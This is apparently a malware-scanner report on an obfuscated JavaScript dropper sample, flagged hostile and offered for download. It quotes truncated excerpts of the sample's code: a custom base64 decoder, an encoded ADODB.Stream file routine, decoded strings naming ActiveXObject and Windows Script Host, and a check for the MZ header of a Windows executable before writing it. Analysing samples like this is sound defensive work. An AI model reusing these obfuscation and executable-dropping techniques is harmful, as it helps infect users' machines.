Hostile ^100% javascript-malware-collection Download

20161220_819d06183b021cfbde5e7c31aab76166.js

Obfuscated ActiveX file execution

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias

SHA-2569c674258cdad47618b68c3dc015db8918f367fbcab99e581dd330fd60dfef915

MaleculeK(Mc)O₂(Xe₂As₃)H₅(F₂CmDb₆OsPo₄)Md₂

Evidence

Builds characters with String.fromCharCode lines 27–30

35… C2 +1== 0)
          break;
      SupchikpumpsFROG2out += String['fromCharCode']((SupchikpumpsRazlomSS << 2) | ((SupchikpumpsFROG2ddDccC2 & 0x30) >> 4));    do {
          SupchikpumpsFROG2c3 = Supchikpump …

Encoded content decoded: base64 lines 59–62

59:9… rn SupchikpumpsFROG2out;
60};
61
62 var SupchikpumpsSayNoNo ="FROSTICK"+ "DQoNCmZ1bmN0aW9uICBSRUJFS0szKGZpbGVQYXRoKQ0Kew0KdmFyIGExPW5ldyBBY3RpdmVYT2JqZWN0KCJBRE9EQi5TdHJlYW0iKTthMVsidHlwZSJdPTI7DQphMVsiQ2hhcnNldCJdPTQzNzthMVsib3BlbiJdKCk7YTFbIkxvYWRGcm9tRmlsZSJdKGZpbGVQYXRoKTsNCnZhciBmaWxlU3RyaW5nPWExWyJSZWFkVGV4dCJdO2ExWyJjbG9zZSJdKCk7DQpyZXR1cm4gdmVsS09QT1AyZnN0YShmaWxlU3RyaW5nKTsNCn07DQpmdW5jdGlvbiAgdmVsS09QT1AyZnN0YShmaWxlU3RyaW5nKQ0KeyANCnZhciB0MT1uZXcgQXJyYXkoKTsNCnQxWzB4QzddPTB4ODA7dDFbMHhGQ109MHg4MTt0MVsweEU5XT0weDgyO3QxWzB4RTJdPTB4ODM7dDFbMHhFNF09MHg4NDt0MVsweEUwXT0weDg1O3QxWzB4RTVdPTB4ODY7dDFbMHhFN109MHg4Nzt0MVsweEVBXT0weDg4O3QxWzB4RUJdPTB4ODk7dDFbMHhFOF09MHg4QTt0MVsweEVGXT0weDhCO3QxWzB4RUVdPTB …

Several padded Base64-looking literals lines 108–124

108:19… ;
109
110 var SupchikpumpsLLL0LLL = "l";
111	 var SupchikpumpsFROG2TRUEFALSE=("V2lFROSTICKuZG93cyBTY3JpcFROSTICKHQgSG9zdA=FROSTICK=".osenOSENles() +"!!!22ee22" =="FROSTICKV2lFROSTICKuZG93cyBTY3JpcFROSTICKHQgSG9zdA==".osenOSENles() +"!!!22ee22")&&typeof(SupchikpumpsFROG2GzEAPd)==="undefined";
112 var SupchikpumpsFROGsrq = "UmVxdWVzdEhlYWRlcg==".osenOSENles();
113
114
115TortPankakyFF();
116	
117 var SupchikpumpsFROG_HUD_DUCK  =("").osenOSENles();
118 var SupchikpumpsFROG2lidgen = "QWN0FROSTICKaXZlWEFROSTICK9iamVjdA==".osenOSENles();
119 
120 
⋯4 lines

ActiveXObject via local alias lines 185–189

185:10… hikpumpsFROG2d2=SupchikpumpsFROG2DoUtra.pop();
186SupchikpumpsFROG2fabled="Valar2Morgulis";
187 var SupchikpumpsFROG2LitoyDISK=ActiveXObject;
188 var doubleTrouble=SupchikpumpsFROG2d2.split("45");SupchikpumpsFROG2Native.SupchikpumpsFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchikpumpsFROG2$type(a)===b})};
189Supchik …

Checks array for PE magic bytes lines 257–264

62… pumpsTalabaev);	
if(SupchikpumpsTalabaevLaa < 29989)return false;
if (SupchikpumpsTalabaev[0]!= 77 || SupchikpumpsTalabaev[1]!= 90)return false;		
SupchikpumpsFROG2CHICKA = SupchikpumpsFROG2CHICKA  + SupchikpumpsFROG2SIDRENKOV;
REBEKK2(SupchikpumpsFROG2CHICKA, SupchikpumpsTalabaev );
262
var SupchikpumpsFROG2ddsSSddSd = ",happy";
264SupchikpumpsFROG2ddsSSddSd = (SupchikpumpsFROG2StrokaParam2," …